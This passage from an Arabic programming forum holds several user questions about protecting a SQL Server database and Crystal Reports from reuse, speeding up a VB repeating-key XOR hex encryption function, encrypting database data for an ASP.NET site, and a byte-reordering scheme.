  22. السلام عليكم ورحمة الله وبركاته أساتذتي الفضلاء : طلب مني بعض من لا أستطيع رد طلبه .. نسخة من برنامج عملته ... البرنامج يحتوي على قاعدة بيانات sql server  وتقارير كريستال وملفات أخرى .. ليس عندي مشكلة في استفادته من البرنامج أو الملفات ... إلا أن تقاريري وقاعدة بياناتي بها جهد وأفكار خاصة بي ... وما أخافه هو إعادة استخدامها في بريمج جديد مبني على هذه القاعدة ويحتوي هذه التقارير   سؤالي أساتذتي :            كيف يمكنني إعطائه طلبه من دون مجال للخوف  بصيغة أخرى : كيف أجعله لا يستطيع فتح قاعدة البيانات ورؤية أكوادها .. ولا يستطيع رؤية آلية تصميم التقارير .. أريدها أن تعمل مع البرنامج فقط .. ولا يستطيع أن ينسبها لنفسه ... هذا كود فتح التقارير الذي أستخدمه في حدث ضغط زر فتح التقرير con.Open() Dim cmd As New SqlCommand("Select * from count_s", con) Dim dt As New DataSet Dim da = New SqlDataAdapter(cmd) 'dt.Clear() da.Fill(dt, "count_s") Dim rpt As New count_square rpt.Load(Application.StartupPath & "\count_s.rpt") rpt.SetDataSource(dt) Dim newviewre As New count newviewre.CrystalReportViewer1.ReportSource = rpt newviewre.Text = " كشف " newviewre.CrystalReportViewer1.Refresh() newviewre.Show() 'dt.Clear() con.Close()رجاءً لا تبخلوا علي  وفقكم الله وأعانكم
  23. السلام عليكم ورحمة الله وبركاته ------------------------------------ اسمحوا لي بالدخول مباشرة إلى الموضوع: أنا أستخدم طريقة لتشفير النص بصيغة Hex وسأوضح ذلك بالمثال الآتي: مثلاً النص لدينا هو (A5 B1 E2 E9 AD DD C6 A2 F4 F1) ومفتاح التشفير هو (03 02 01) تقوم الطريقة على أساس إيجاد قيمة البايت الأول من النص XOR البايت الأول من المفتاح، والبايت الثاني من النص XOR البايت الثاني من المفتاح، وهكذا... فتكون النتيجة في هذا المثال كالآتي: البايت الأول = A5   XOR   01 البايت الثاني = B1   XOR   02 البايت الثالث = E2   XOR   03 البايت الرابع = E9   XOR   01 البايت الخامس = AD   XOR   02 وهكذا...   وقمت بعمل الكود الآتي: Public Function HexToString(ByVal HexToStr As String) As String Dim strTemp As String Dim strReturn As String Dim i As Long For i = 1 To Len(HexToStr) Step 3 strTemp = Chr$(Val("&H" & Mid$(HexToStr, i, 2))) strReturn = strReturn & strTemp Next i HexToString = strReturnEnd FunctionPublic Function StringToHex(ByVal StrToHex As String) As String Dim strTemp As String Dim strReturn As String Dim i As Long For i = 1 To Len(StrToHex) strTemp = Hex$(Asc(Mid$(StrToHex, i, 1))) If Len(strTemp) = 1 Then strTemp = "0" & strTemp strReturn = strReturn & Space$(1) & strTemp Next i StringToHex = strReturn StringToHex = Trim$(StringToHex)End FunctionFunction ChkNum(NM As Single, LN As Integer) As Integer If NM = Fix(NM) Then ChkNum = -1 * LN Else ChkNum = 0End FunctionFunction Enc(Str As String, StrKey As String) As String Dim X As Integer Dim M As Integer Dim L As Integer Dim O As Single L = Len(HexToString(StrKey)) For X = 1 To Len(HexToString(Str)) M = Asc(Mid$(HexToString(Str), X, 1)) O = (X Mod L) - ChkNum(X / L, L) Enc = Enc & " " & StringToHex(Chr$(M Xor Asc(Mid$(HexToString(StrKey), O, 1)))) Next X Enc = Trim$(Enc)End Function   حيث أستخدم الدالة ()Enc لعمل ذلك   وحتى الآن لا توجد أي مشكلة بالدالة وتأتي بالنتيجة سليمة مائة بالمائة ولكن المشكلة في الوقت، فعد استخدام الدالة مع نص كبير نسبياً (20 كيلو بايت مثلاً) يأخذ وقتاً طويلاً، في حين أنني أحتاج للحصول على النتيجة بسرعة لأني مرتبط بزمن، وطبعاً هذا الوقت الطويل متوقع مع هذه الدالة لأنه كما ترون فالبرنامج يقوم بأكثر من عملية حسابية على كل بايت على حدة في النص بأكمله   فهل يمكن الحصول على نفس النتيجة ولكن بطريقة أسرع؟؟ وشكراً جزيلاً لكم  
  24. السلام عليكم  السؤال هو كيفية تشفير البيانات الموجودة على قاعدة بيانات sql server  وفك التشفير فقط من خلال موقع مصصم asp.net c#  ارجو المساعدة 
  25. السلام عليكم لدي فكرة في تريب البيانات واعادة تريتبها وذالك بتمثيل موقعها الاصلي بالنظام الثاني  مثال نفرض لدينا 8 بايت وهي  14 85 203 228 5 191 36 155 37 سنرتبها لان بمعيار الارقام الاصغر من 127  سيكون التريبت  14 85 5 36 37 203 228 191 155 وستكون الترميز المواقع كا التالي  0 0 1 0 0 1 0 1 0 المطلوب كيف ابرمج مثلا هذه الخوارزمية يعني كيف استعيد المواقع الاصلية من المواقع المرتية ومصفوفة المواقع الاصلية  او اي طريقة تكون شبيه بهذه الطريقة لترتيب البيانات  ملاحظة الترتب هنا لايعتمد علي تنازلي او تصاعدي يعتمد علي اكبر من 127 او اصغر  وشكر لـــــــــكم